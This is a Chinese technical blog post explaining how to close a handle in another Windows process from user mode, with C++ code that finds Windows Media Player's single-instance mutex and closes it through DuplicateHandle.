我吃你家米了/2024-03-21T00:00:00+01:00关闭其他进程中的句柄2024-03-21T00:00:00+01:002024-03-21T00:00:00+01:0012138tag:None,2024-03-21:guan-bi-qi-ta-jin-cheng-zhong-de-ju-bing.html<p>references:</p>
<ul>
<li><a href="https://scorpiosoftware.net/2020/03/15/how-can-i-close-a-handle-in-another-process/">https://scorpiosoftware.net/2020/03/15/how-can-i-close-a-handle-in-another-process/</a></li>
</ul>
<p>很多人熟悉ProcExp的关闭任意进程中句柄的能力,那么他是怎么完成这项任务的呢</p>
<p>标准的<code>CloseHandle</code>函数<strong>只能</strong>关闭当前进程的句柄</p>
<p>有两条路线 …</p><p>references:</p>
<ul>
<li><a href="https://scorpiosoftware.net/2020/03/15/how-can-i-close-a-handle-in-another-process/">https://scorpiosoftware.net/2020/03/15/how-can-i-close-a-handle-in-another-process/</a></li>
</ul>
<p>很多人熟悉ProcExp的关闭任意进程中句柄的能力,那么他是怎么完成这项任务的呢</p>
<p>标准的<code>CloseHandle</code>函数<strong>只能</strong>关闭当前进程的句柄</p>
<p>有两条路线,第一个就是使用内核驱动,前提是你可以加载内核驱动的话,ProcExp使用的就是这种方法</p>
<p>另一种是在用户模式下实现,本文将着重介绍</p>
<p>第一个问题就是如何定位到目标句柄,必须要提供某些条件来唯一标识一个句柄,比如这个句柄是一个命名对象(named object)</p>
<p>使用Windows Media Player作为例子,WMP在同一台机器中只能有一个实例,那么WMP大概率使用了一个互斥量来实现这种效果</p>
<p><img alt="4y5u6kuytreiuytrew" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pTobICDNgS.jpg"></p>
<p>通过ProcExp可以看到,他确实是有这么一个互斥量</p>
<p><img alt="image-20240321142435037" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ZxrGMBDAkM.jpg"></p>
<p>如果我们关掉这个句柄的话,就可以再打开一个WMP</p>
<p><img alt="image-20240321142659547" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/FhfUbISXgn.jpg"></p>
<p>如果我们想通过编程实现,那么就需要先定位到这个句柄,但是Windows文档中并未提供枚举句柄的函数,即使是在当前进程中</p>
<p>不过我们可以使用<a href="https://github.com/winsiderss/phnt/blob/master/ntexapi.h">NativeAPI</a></p>
<ul>
<li>使用NtQuerySystemInformation枚举系统中所有的句柄,然后在里面搜索属于WMP进程的句柄</li>
<li>只枚举WMP进程的句柄</li>
<li>注入代码到WMP进程,在里面遍历WMP进程的所有句柄</li>
</ul>
<p>第二个选项是最合适的</p>
<p>首先定位WMP进程位置,使用TlHelp32来枚举进程</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><TlHelp32.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="n">DWORD</span><span class="w"> </span><span class="nf">FindMediaPlayer</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hSnapshot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPPROCESS</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">hSnapshot</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">PROCESSENTRY32</span><span class="w"> </span><span class="n">pe</span><span class="p">;</span>
<span class="w"> </span><span class="n">pe</span><span class="p">.</span><span class="n">dwSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">pe</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// skip the idle process</span>
<span class="w"> </span><span class="o">::</span><span class="n">Process32First</span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">pe</span><span class="p">);</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">pid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">::</span><span class="n">Process32Next</span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">pe</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">::</span><span class="n">_wcsicmp</span><span class="p">(</span><span class="n">pe</span><span class="p">.</span><span class="n">szExeFile</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"wmplayer.exe"</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// found it!</span>
<span class="w"> </span><span class="n">pid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pe</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="o">::</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">pid</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">pid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FindMediaPlayer</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">pid</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Failed to locate media player</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Located media player: PID=%u</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>现在我们已经定位到WMP了,可以枚举这个进程中的所有句柄了</p>
<div class="highlight"><pre><span></span><code><span class="n">HANDLE</span><span class="w"> </span><span class="n">hProcess</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_QUERY_INFORMATION</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">PROCESS_DUP_HANDLE</span><span class="p">,</span>
<span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">);</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Failed to open WMP process handle (error=%u)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
<span class="w"> </span><span class="o">::</span><span class="n">GetLastError</span><span class="p">());</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><memory></span>
<span class="cp">#pragma comment(lib, "ntdll")</span>
<span class="cp">#define NT_SUCCESS(status) (status >= 0)</span>
<span class="cp">#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)</span>
<span class="k">enum</span><span class="w"> </span><span class="n">PROCESSINFOCLASS</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">ProcessHandleInformation</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">51</span>
<span class="p">};</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_PROCESS_HANDLE_TABLE_ENTRY_INFO</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">HandleValue</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">HandleCount</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">PointerCount</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">GrantedAccess</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">ObjectTypeIndex</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">HandleAttributes</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">Reserved</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">PROCESS_HANDLE_TABLE_ENTRY_INFO</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PPROCESS_HANDLE_TABLE_ENTRY_INFO</span><span class="p">;</span>
<span class="c1">// private</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_PROCESS_HANDLE_SNAPSHOT_INFORMATION</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">NumberOfHandles</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">Reserved</span><span class="p">;</span>
<span class="w"> </span><span class="n">PROCESS_HANDLE_TABLE_ENTRY_INFO</span><span class="w"> </span><span class="n">Handles</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span><span class="w"> </span><span class="n">PROCESS_HANDLE_SNAPSHOT_INFORMATION</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PPROCESS_HANDLE_SNAPSHOT_INFORMATION</span><span class="p">;</span>
<span class="k">extern</span><span class="w"> </span><span class="s">"C"</span><span class="w"> </span><span class="n">NTSTATUS</span><span class="w"> </span><span class="n">NTAPI</span><span class="w"> </span><span class="n">NtQueryInformationProcess</span><span class="p">(</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">ProcessHandle</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">PROCESSINFOCLASS</span><span class="w"> </span><span class="n">ProcessInformationClass</span><span class="p">,</span>
<span class="w"> </span><span class="n">_Out_writes_bytes_</span><span class="p">(</span><span class="n">ProcessInformationLength</span><span class="p">)</span><span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">ProcessInformation</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">ProcessInformationLength</span><span class="p">,</span>
<span class="w"> </span><span class="n">_Out_opt_</span><span class="w"> </span><span class="n">PULONG</span><span class="w"> </span><span class="n">ReturnLength</span><span class="p">);</span>
</code></pre></div>
<p>使用<code>ProcessHandleInformation</code>获取所有的句柄信息</p>
<div class="highlight"><pre><span></span><code><span class="n">ULONG</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span>
<span class="n">std</span><span class="o">::</span><span class="n">unique_ptr</span><span class="o"><</span><span class="n">BYTE</span><span class="p">[]</span><span class="o">></span><span class="w"> </span><span class="n">buffer</span><span class="p">;</span>
<span class="k">for</span><span class="w"> </span><span class="p">(;;)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">buffer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">make_unique</span><span class="o"><</span><span class="n">BYTE</span><span class="p">[]</span><span class="o">></span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">NtQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="n">ProcessHandleInformation</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="n">buffer</span><span class="p">.</span><span class="n">get</span><span class="p">(),</span><span class="w"> </span><span class="n">size</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">NT_SUCCESS</span><span class="p">(</span><span class="n">status</span><span class="p">))</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">status</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">STATUS_INFO_LENGTH_MISMATCH</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error enumerating handles</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>上面使用了智能指针在内存不够的情况下自动增大</p>
<p>我们还需要调用另一个<a href="https://github.com/winsiderss/phnt/blob/master/ntobapi.h">NativeAPI——NtQueryObject</a>来查询指定句柄的信息</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">enum</span><span class="w"> </span><span class="n">_OBJECT_INFORMATION_CLASS</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">ObjectNameInformation</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span>
<span class="p">}</span><span class="w"> </span><span class="n">OBJECT_INFORMATION_CLASS</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_UNICODE_STRING</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">MaximumLength</span><span class="p">;</span>
<span class="w"> </span><span class="n">PWSTR</span><span class="w"> </span><span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">UNICODE_STRING</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_OBJECT_NAME_INFORMATION</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">Name</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">OBJECT_NAME_INFORMATION</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">POBJECT_NAME_INFORMATION</span><span class="p">;</span>
<span class="k">extern</span><span class="w"> </span><span class="s">"C"</span><span class="w"> </span><span class="n">NTSTATUS</span><span class="w"> </span><span class="n">NTAPI</span><span class="w"> </span><span class="n">NtQueryObject</span><span class="p">(</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">Handle</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">OBJECT_INFORMATION_CLASS</span><span class="w"> </span><span class="n">ObjectInformationClass</span><span class="p">,</span>
<span class="w"> </span><span class="n">_Out_writes_bytes_opt_</span><span class="p">(</span><span class="n">ObjectInformationLength</span><span class="p">)</span><span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">ObjectInformation</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">ObjectInformationLength</span><span class="p">,</span>
<span class="w"> </span><span class="n">_Out_opt_</span><span class="w"> </span><span class="n">PULONG</span><span class="w"> </span><span class="n">ReturnLength</span><span class="p">);</span>
</code></pre></div>
<p>我们现在是外部进程,我们不能直接往NtQueryObject传递从WMP进程中获取的句柄,而是要先将句柄复制出来再传进去,这也是为什么一开始打开WMP进程的时候需要加入<code>PROCESS_DUP_HANDLE</code>权限</p>
<div class="highlight"><pre><span></span><code><span class="k">auto</span><span class="w"> </span><span class="n">info</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">reinterpret_cast</span><span class="o"><</span><span class="n">PROCESS_HANDLE_SNAPSHOT_INFORMATION</span><span class="o">*></span><span class="p">(</span><span class="n">buffer</span><span class="p">.</span><span class="n">get</span><span class="p">());</span>
<span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">info</span><span class="o">-></span><span class="n">NumberOfHandles</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">h</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">info</span><span class="o">-></span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">HandleValue</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hTarget</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!::</span><span class="n">DuplicateHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="n">h</span><span class="p">,</span><span class="w"> </span><span class="o">::</span><span class="n">GetCurrentProcess</span><span class="p">(),</span><span class="w"> </span><span class="o">&</span><span class="n">hTarget</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">DUPLICATE_SAME_ACCESS</span><span class="p">))</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span><span class="w"> </span><span class="c1">// move to next handle</span>
<span class="p">}</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="n">BYTE</span><span class="w"> </span><span class="n">nameBuffer</span><span class="p">[</span><span class="mi">1</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">10</span><span class="p">];</span>
<span class="k">auto</span><span class="w"> </span><span class="n">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">NtQueryObject</span><span class="p">(</span><span class="n">hTarget</span><span class="p">,</span><span class="w"> </span><span class="n">ObjectNameInformation</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="n">nameBuffer</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">nameBuffer</span><span class="p">),</span><span class="w"> </span><span class="n">nullptr</span><span class="p">);</span>
<span class="o">::</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hTarget</span><span class="p">);</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">NT_SUCCESS</span><span class="p">(</span><span class="n">status</span><span class="p">))</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
</code></pre></div>
<p>调用完NtQueryObject之后,就可以把复制出来的句柄关掉了,我们需要将获取到的字符串和WMP互斥量的名称进行对比以得到正确的句柄</p>
<div class="highlight"><pre><span></span><code><span class="n">WCHAR</span><span class="w"> </span><span class="n">targetName</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="n">DWORD</span><span class="w"> </span><span class="n">sessionId</span><span class="p">;</span>
<span class="o">::</span><span class="n">ProcessIdToSessionId</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">sessionId</span><span class="p">);</span>
<span class="o">::</span><span class="n">swprintf_s</span><span class="p">(</span><span class="n">targetName</span><span class="p">,</span>
<span class="w"> </span><span class="sa">L</span><span class="s">"</span><span class="se">\\</span><span class="s">Sessions</span><span class="se">\\</span><span class="s">%u</span><span class="se">\\</span><span class="s">BaseNamedObjects</span><span class="se">\\</span><span class="s">Microsoft_WMP_70_CheckForOtherInstanceMutex"</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="n">sessionId</span><span class="p">);</span>
<span class="k">auto</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">wcslen</span><span class="p">(</span><span class="n">targetName</span><span class="p">);</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="k">auto</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">reinterpret_cast</span><span class="o"><</span><span class="n">UNICODE_STRING</span><span class="o">*></span><span class="p">(</span><span class="n">nameBuffer</span><span class="p">);</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">name</span><span class="o">-></span><span class="n">Buffer</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span>
<span class="w"> </span><span class="o">::</span><span class="n">_wcsnicmp</span><span class="p">(</span><span class="n">name</span><span class="o">-></span><span class="n">Buffer</span><span class="p">,</span><span class="w"> </span><span class="n">targetName</span><span class="p">,</span><span class="w"> </span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// found it!</span>
<span class="p">}</span>
</code></pre></div>
<p>假设我们现在找到了目标句柄,那么下一步要怎么做呢?</p>
<p>我们可以再次调用<code>DuplicateHandle</code>,但是传入<code>DUPLICATE_CLOSE_SOURCE</code>标志变相达到关闭源句柄的目的</p>
<div class="highlight"><pre><span></span><code><span class="c1">// found it!</span>
<span class="o">::</span><span class="n">DuplicateHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="n">h</span><span class="p">,</span><span class="w"> </span><span class="o">::</span><span class="n">GetCurrentProcess</span><span class="p">(),</span><span class="w"> </span><span class="o">&</span><span class="n">hTarget</span><span class="p">,</span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">DUPLICATE_CLOSE_SOURCE</span><span class="p">);</span>
<span class="o">::</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hTarget</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Found it! and closed it!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
</code></pre></div>
<p><img alt="4y5u6kuytreiuytrew45t6yu" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/VvgEpMjesa.jpg"></p>
<p>完整代码:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><TlHelp32.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><memory></span>
<span class="cp">#pragma comment(lib, "ntdll")</span>
<span class="cp">#define NT_SUCCESS(status) (status >= 0)</span>
<span class="cp">#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)</span>
<span class="k">enum</span><span class="w"> </span><span class="n">PROCESSINFOCLASS</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">ProcessHandleInformation</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">51</span>
<span class="p">};</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_PROCESS_HANDLE_TABLE_ENTRY_INFO</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">HandleValue</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">HandleCount</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">PointerCount</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">GrantedAccess</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">ObjectTypeIndex</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">HandleAttributes</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">Reserved</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">PROCESS_HANDLE_TABLE_ENTRY_INFO</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PPROCESS_HANDLE_TABLE_ENTRY_INFO</span><span class="p">;</span>
<span class="c1">// private</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_PROCESS_HANDLE_SNAPSHOT_INFORMATION</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">NumberOfHandles</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG_PTR</span><span class="w"> </span><span class="n">Reserved</span><span class="p">;</span>
<span class="w"> </span><span class="n">PROCESS_HANDLE_TABLE_ENTRY_INFO</span><span class="w"> </span><span class="n">Handles</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="p">}</span><span class="w"> </span><span class="n">PROCESS_HANDLE_SNAPSHOT_INFORMATION</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">PPROCESS_HANDLE_SNAPSHOT_INFORMATION</span><span class="p">;</span>
<span class="k">extern</span><span class="w"> </span><span class="s">"C"</span><span class="w"> </span><span class="n">NTSTATUS</span><span class="w"> </span><span class="n">NTAPI</span><span class="w"> </span><span class="n">NtQueryInformationProcess</span><span class="p">(</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">ProcessHandle</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">PROCESSINFOCLASS</span><span class="w"> </span><span class="n">ProcessInformationClass</span><span class="p">,</span>
<span class="w"> </span><span class="n">_Out_writes_bytes_</span><span class="p">(</span><span class="n">ProcessInformationLength</span><span class="p">)</span><span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">ProcessInformation</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">ProcessInformationLength</span><span class="p">,</span>
<span class="w"> </span><span class="n">_Out_opt_</span><span class="w"> </span><span class="n">PULONG</span><span class="w"> </span><span class="n">ReturnLength</span><span class="p">);</span>
<span class="n">DWORD</span><span class="w"> </span><span class="nf">FindMediaPlayer</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hSnapshot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPPROCESS</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">hSnapshot</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">PROCESSENTRY32</span><span class="w"> </span><span class="n">pe</span><span class="p">;</span>
<span class="w"> </span><span class="n">pe</span><span class="p">.</span><span class="n">dwSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">pe</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// skip the idle process</span>
<span class="w"> </span><span class="o">::</span><span class="n">Process32First</span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">pe</span><span class="p">);</span>
